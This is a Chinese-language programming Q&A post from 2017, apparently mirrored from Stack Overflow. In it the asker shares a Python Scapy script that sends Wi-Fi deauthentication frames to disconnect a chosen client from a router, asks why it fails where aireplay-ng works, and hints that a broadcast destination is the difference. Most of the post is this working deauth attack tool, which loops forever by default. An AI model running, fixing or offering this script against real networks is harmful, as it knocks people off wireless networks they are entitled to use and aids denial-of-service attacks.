【发布时间】:2017-03-20 20:54:27
【问题描述】:
我一直在用 python 编写一个 deauth 脚本,但它不起作用。 使用 aireplay-ng 就可以了。我正在用wireshark捕获数据包,我可以看到它们真的出去了。
脚本:
import argparse
import logging
logging.getLogger('scapy.runtime').setLevel(logging.ERROR)
from scapy.all import *
def arg_parse():
parser = argparse.ArgumentParser()
parser.add_argument('-i',
'--interface',
help = 'Select an interface')
parser.add_argument('-b',
'--bssid',
help = 'Select the routers BSSID')
parser.add_argument('-c',
'--client',
help = 'Select the clients BSSID')
parser.add_argument('-a',
'--amount',
type = int,
help = 'Select amount of packets to send')
return parser.parse_args()
def send_deauth():
# sending deauth packets
pkt = Dot11(type=0, subtype=12, addr1=client, addr2=bssid, addr3=bssid) / Dot11Deauth(reason=7)
sendp(pkt)
print('Deauth-Pckt send to BSSID: ' + bssid)
if __name__ == '__main__':
args = arg_parse()
conf.verb = 0
if args.interface and args.bssid and args.client:
conf.iface = args.interface
bssid = args.bssid
client = args.client
if not args.amount:
while True:
send_deauth()
elif args.amount > 0:
amount = args.amount
while amount > 0:
send_deauth()
amount -= 1
else:
print('[-] Invalid amount.')
else:
print('[-] Interface and BSSID required.')
我注意到在使用 aireplay-ng 发送 deauth-pkt 时,wireshark 输出说 destination = broadcast。将它们与脚本一起发送后,它会显示目标设备的实际 MAC。可能跟这个问题有关系。
【问题讨论】:
标签: python networking package wifi scapy